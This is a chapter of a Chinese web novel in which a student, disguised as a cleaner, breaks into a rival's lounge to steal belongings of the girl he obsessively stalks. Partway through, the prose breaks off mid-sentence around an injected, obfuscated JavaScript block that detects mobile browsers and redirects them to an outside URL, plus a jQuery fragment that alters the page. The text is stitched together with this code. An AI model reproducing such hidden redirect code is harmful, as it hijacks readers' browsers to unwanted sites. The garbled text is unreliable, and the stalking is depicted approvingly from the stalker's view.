脚步声渐行渐远,直到完全在耳边消失。
清洁工紧绷的身体松缓下来,他摸了一下脸上黑色的口罩,走到门口四下张望,确认这间休息室的主人真的离开了。
摘下略微浸湿的黑色口罩,攥紧的手中尚有汗意,一张有着锋锐线条的脸完全暴露在空气中。
崔锡林的鼻梁两侧有着明显的镜架压痕,改扮成清洁工的他特意没有戴眼镜。
崔锡林的本意是不希望让任何人联想到他,可是他现在无比后悔。
因为这近视,该死的眼镜!他没能看到徐抒恩掀开被子那一瞬间的模样。
自从崔壹宽被他推出去顶罪以后,崔壹宽身上聚焦了许多从前不曾有的视线。
偷拍癖,变态,赭兰高校的学生对崔壹宽抱有或厌恶或敌视的目光。
无论如何从前不起眼的崔壹宽已经变得十分引人注目,这样的人无法再承担起潜入连希元休息室,并且偷出一切和徐抒恩有关物品的任务。
崔锡林没有办法,崔壹宽出事之后他忍得更加辛苦了。上一次徐抒恩擦嘴之后扔掉的纸巾已经不再残存着徐抒恩的气息,如果再没有徐抒恩的东西放在身边他会疯掉的。
他只能选择,亲自到连希元的休息室来找。
连希元这天正好在app上确认了清洁预约,并且是在午休时间,那么说明他中午一定不会回来的。
崔锡林于是穿上了一身清洁工的衣服,又戴上了口罩,认为事情万无一失的他用清洁工的权限打开了连希元休息室的门。
休息室里黑着灯,也很安静,只有一股扑面而来的冷气。
崔锡林动了动鼻子,一瞬间他以为自己产生错觉了,为什么他感到这里徐抒恩的气息这么浓厚呢?
崔锡林大脑里的多巴胺在迅速分泌,他的手腕兴奋到不正常地抖动。
他想,或许刚才徐抒恩在这里待过也说不定,她会在这里留下什么?
崔锡林抑制不住自己的迫切,侧身去看垃圾桶,戴着隔离手套的手按住垃圾桶的边缘,在黑暗中像个闻见奶酪味道的老鼠一样兴奋。
就在这时灯开了。
崔锡林的大脑短路了一瞬,下意识的反应是想去拉一下自己的口罩,下一秒则是在疑惑为什么连希元会还在休息室里。
明明是他自己预定的清洁时间,他不相信有一个财阀子第能容忍嗡嗡响的洗地机声音的。
明亮的顶灯下,紧贴着面部的口罩给了崔锡林莫大的安全感。
他很快冷静下来,连希元只是个脑子不好使的蠢X,他可以轻松地蒙混过去,在这个学校里有能力拆穿他谎言的人只有徐抒恩。
崔锡林这样安慰自己,然后他流畅地转身,在心里已经想好了一百种可能发生的场景和应对方法。
他的冷静马上被击溃了,眼前的场景在他的意料之外。
他的近视并不严重,不戴眼镜的时候,稍微眯一点眼睛就能看清不远处的东西。那张床的中间坐着一个人,不是连希元,而是,而是,
而是徐抒恩。
原来他的嗅觉没有错,崔锡林想,竟然是她本人在那里。
他不是没有这么近地凝视过徐抒恩,最近的一次是几小时之前在楼道,可是那时候她神色冷淡,和他保持着一个明显疏离的距离,一眼也没有看他。
可是现在徐抒恩却在专注地看着他。她大概是刚从睡梦中醒来,眼神有点迷蒙,像是在分辨他的身份,真实得让他不敢呼吸。
那些照片,物品,在崔锡林的脑海中突然变得既苍白又单薄。
他怎么会现在才意识到,那些仅仅只是衍生物的东西,怎么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483597|201888||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可能比得上徐抒恩本人。
徐抒恩为什么会睡在这里?
……也对。她到连希元这里的次数不算少,否则崔壹宽也不能从这里弄回来那么多徐抒恩的东西。
可是,崔锡林的目光缓缓向左,这是他第一次来连希元的休息室,因此他并不知道连希元的休息室里有两张床,徐抒恩坐在大的那张床上,
旁边的那一张床属于谁不言而喻。
崔锡林意识到,徐抒恩和连希元的关系或许有些过于亲密了。
这种亲密已经超出了主仆,或是养兄妹之间的界限。
他没有见过哪个少爷会让跟班的床比自己的更高更宽,也没有哪对成年的兄妹会无所顾忌地睡在同一间房里。
他知道她在这里吃过东西,刷过牙,还换过衣服,但是他没有想到她会在这里睡觉。
在崔锡林的想象中,徐抒恩就像危险又聪明的肉食动物一样,除非在被标记成完全属于自己的寓所,才会安然入睡,难道她比他想象中的更加信赖连希元吗?
崔锡林的指节在无意识地收紧,连希元那贱人的心思昭然若揭,傻子都看得出来他喜欢徐抒恩,他那种心机屌,会做出这样的安排不奇怪。
可是徐抒恩呢?
她也默许了吗,还是她没有想那么多,或是连希元强硬要求她答应呢?
崔锡林越想越可能,越想越生气。徐抒恩平时就听连希元的话听得不得了了,一定是贱货连希元硬拉着她睡在这里的。
他不想去想那个徐抒恩认为连希元是她的所有物的可能性。
崔锡林自认为自己对徐抒恩的欲念还在可以控制的范围之内,他以为自己隔着屏幕舔舐她的脸就能满足的。
可是他看着这两张床,它们挨得真近啊,床品颜色都是搭配好的,相近又和谐。